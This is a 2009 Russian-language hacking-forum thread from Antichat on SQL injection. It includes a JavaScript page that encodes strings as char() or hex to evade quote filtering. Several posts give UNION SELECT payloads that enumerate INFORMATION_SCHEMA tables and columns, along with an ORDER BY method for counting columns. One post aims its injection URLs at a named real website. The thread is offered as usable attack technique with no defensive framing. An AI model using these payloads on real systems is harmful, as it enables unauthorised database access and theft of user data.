Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

12.04.2009, 17:24
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме: 2185909
Репутация:
308
|
|
Как написал Dr.Z3r0 не всегда возможно использовать кавычки в SQL-запросах, например, при чтении файлов через LOAD_FILE().Можно использовать альтернативные констуркции:
'string' =
char(115)+char(116)+char(114)+char(105)+char(110)+ char(103)
'string' = 0x737472696E67
Так вот собственно скрипт для этого:
(Конечно понятно что сейчас полно инструментов для кодирования строки в char() представление, но мне ,например, так удобней, тем более скрипт 0x123-представлние заменяет на %2b, что необходимо в случае GET запроса)
Код:
<html>
<head>
<title>String Convertor for SQL-query</title>
<script language="javascript">
function baseConverter (number,ob,nb) {
number = number.toUpperCase();
var list = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
var dec = 0;
for (var i = 0; i <= number.length; i++) {
dec += (list.indexOf(number.charAt(i))) * (Math.pow(ob , (number.length - i - 1)));
}
number = "";
var magnitude = Math.floor((Math.log(dec))/(Math.log(nb)));
for (var i = magnitude; i >= 0; i--) {
var amount = Math.floor(dec/Math.pow(nb,i));
number = number + list.charAt(amount);
dec -= amount*(Math.pow(nb,i));
}
return number;
}
function recode(target)
{
var s = new String(target);
var out = new String("");
var plus = "";
if (document.forms[0].replaceplus.checked)
{ plus = "%2b"; } else { plus = "+"; }
for(i=0;i<s.length;i++)
{
out += "char(" + s.charCodeAt(i) + ")";
if (i+1<s.length){ out += plus; }
}
return out;
}
function recode16(target16)
{
var s = new String(target16);
var out = new String("0x");
for(i=0;i<s.length;i++)
{
if (s.charCodeAt(i) < 10)
{
out += "0" + baseConverter(String(s.charCodeAt(i)),10,16);
}
else
{
out += baseConverter(String(s.charCodeAt(i)),10,16);
}
}
return out;
}
</script>
<style type="text/css">
BODY {
scrollbar-base-color: #252525;
scrollbar-arrow-color: #bbbb88;
COLOR: #e4e4e4;
margin: 0;
font-family: Verdana;
font-size: 13px;
background-color: #444444;
}
td {
font-family: Verdana;
COLOR: #e4e4e4;
font-size: 13px;
}
SELECT {
FONT-FAMILY: Verdana;
FONT-SIZE: 10px;
COLOR: #e4e4e4;
font-weight: bold;
BACKGROUND-COLOR: #444444;
}
TEXTAREA, {
FONT-SIZE: 13px;
FONT-FAMILY: Verdana;
COLOR: #EEEEEE;
BACKGROUND-COLOR: #252525;
}
.days {
FONT-FAMILY: Verdana;
border : none;
FONT-SIZE: 10px;
COLOR: #e4e4e4;
BACKGROUND-COLOR: #222222;
}
.bginput {
FONT-SIZE: 11px;
FONT-FAMILY: Verdana;
font-weight: bold;
COLOR: #EEEEcc;
BACKGROUND-COLOR: #252525;
}
A:link, A:visited, A:active {
COLOR: #e2e5cc;
text-decoration: none;
}
A:hover {
COLOR: #FFffcc;
}
.thtcolor {
COLOR: #f5f5f5;
}
.bright {
BACKGROUND-COLOR: #dddddd;
padding-bottom : 5px;
padding-left : 5px;
padding-right : 5px;
padding-top : 5px;
FONT-SIZE: 11px;
}
.qu {
BACKGROUND-COLOR: #3b3b3b;
border : thin inset;
margin-bottom : 5px;
margin-left : 15px;
margin-right : 5px;
margin-top : 5px;
padding-bottom : 5px;
padding-left : 5px;
padding-right : 5px;
padding-top : 5px;
border-width : 1px 1px 1px 1px;
}
</style>
</head>
<body>
<form>
<table border=0 cellpadding=2>
<tr><td align=center>source</td></tr>
<tr><td align=center><textarea name="_in" cols=80 rows=7></textarea></td></tr>
<tr><td align=center>char(123)-like result. <input type=checkbox name="replaceplus"> Replace "+" with "%2b"</td></tr>
<tr><td align=center><textarea name="_out" cols=80 rows=7></textarea></td></tr>
<tr><td align=center>0x0123-like result</td></tr>
<tr><td align=center><textarea name="_out16" cols=80 rows=7></textarea></td></tr>
<tr><td align=center><input type="button" onClick="document.forms[0]._out.value=recode(document.forms[0]._in.value); document.forms[0]._out16.value=recode16(document.forms[0]._in.value);" value=" encode "></td></tr>
</table>
</form>
</body>
</html>
|
|
|

14.04.2009, 00:25
|
|
Новичок
Регистрация: 23.03.2009
Сообщений: 10
Провел на форуме: 95007
Репутация:
-9
|
|
а если таблицы Users нет
как написано тут:
аблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME-имена таблиц.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так:
Вывод первой строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --
Вывод второй строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д.
Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем… Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов
|
|
|

14.04.2009, 23:11
|
|
Новичок
Регистрация: 11.02.2009
Сообщений: 3
Провел на форуме: 55561
Репутация:
5
|
|
Вообще автор написал хорошую статью... но не указан случай когда при переборе +order+by... Не дает нам результатов.
Пример
Код:
http://savelev.ru/journal/case/more/?id=1
мы наблюдаем ошибку в БД, но таблицы мы не можем узнать.
Код:
http://savelev.ru/journal/case/more/?id=-1+order+by+999--
Тогда перебор будет другим а точнее
Код:
http://savelev.ru/journal/case/more/?id=-1+union+select+1,2,3,4,5,0,1,version(),3,4,5--
|
|
|

14.04.2009, 23:24
|
|
Новичок
Регистрация: 23.03.2009
Сообщений: 10
Провел на форуме: 95007
Репутация:
-9
|
|
меня наверно не понели!
я имею в веду вот это:
Вывод первой строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --
Вывод второй строки:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д.
Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем…
|
|
|

14.04.2009, 23:35
|
|
Новичок
Регистрация: 11.02.2009
Сообщений: 3
Провел на форуме: 55561
Репутация:
5
|
|
Что то я не пойму твой вопрос, ну дальше перебирай столбцы, пока не найдешь нужную таблицу, а если не получается перебирать столбцы, то попробуй сразу найти таблицу, запросом :
Код:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM user
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM User
и так далее...
|
|
|

16.04.2009, 02:25
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем…
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,column_name,3,4,5,6 FROM information_schema.columns WHERE table_name='user'
И закончили уже оффтоп наконец..
Последний раз редактировалось [x26]VOLAND; 16.04.2009 в 02:35..
|
|
|

16.04.2009, 17:16
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
|
|
|

16.04.2009, 17:29
|
|
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме: 7561206
Репутация:
1861
|
|
Возможность быстрого подбора количества полей в MySQL
Допустим есть сайт, подверженный sql-инъекции
при запросе
index.php?id=1+order+by+6--
видим ошибку:
Unknown column '6' in 'order clause'
в данном случае, можно сформировать запрос:
index.php?id=1+order+by+1,2,3,4,5,6,7--
Т.е. сортировка будет идти поочередно, и при числе, которое больше количества полей, будет выдана ошибка, указывающая именно первое, превышающее количество полей число.
Если полей к примеру 4, и мы сформируем строку
index.php?id=1+order+by+1,2,3,4,5,6--
то мы увидим
Unknown column '5' in 'order clause'
Следовательно полей 4.
Недостатки:
1) Имеет смысл только когда выводится Unknown column 'число' in 'order clause'
2) Работает не всегда, к примеру, если в скрипте идет несколько поочередных запросов к БД с различным количеством извлекаемых полей, то в результате мы можем получить "не то" количество полей.
P.S.
Способ позволяет существенно сэкономить время, необходимое на подбор количества полей и, имхо, вполне удобен(представим, что полей 37, то сколько стандартных запросов придется сделать?)
Добавляем в заметки
Код:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,45,50,500--+
Последний раз редактировалось Iceangel_; 16.04.2009 в 17:31..
|
|
|

16.04.2009, 17:45
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
Знаем. Но всё равно молодец.
PHP код:
echo join(',', range(1,50));

Последний раз редактировалось [x26]VOLAND; 16.04.2009 в 17:50..
|
|
|

16.04.2009, 17:48
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме: 5571194
Репутация:
1934
|
|
угу оч удобная вещь!!!
я обычно делаю так:
1.
найти скул и попробовать
2.
если работает то проверяем
order by 1000 /* - ошибка
если не работает то скул вероятней всего есть!
ну и дальше...
3.
4.
значит в результате
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|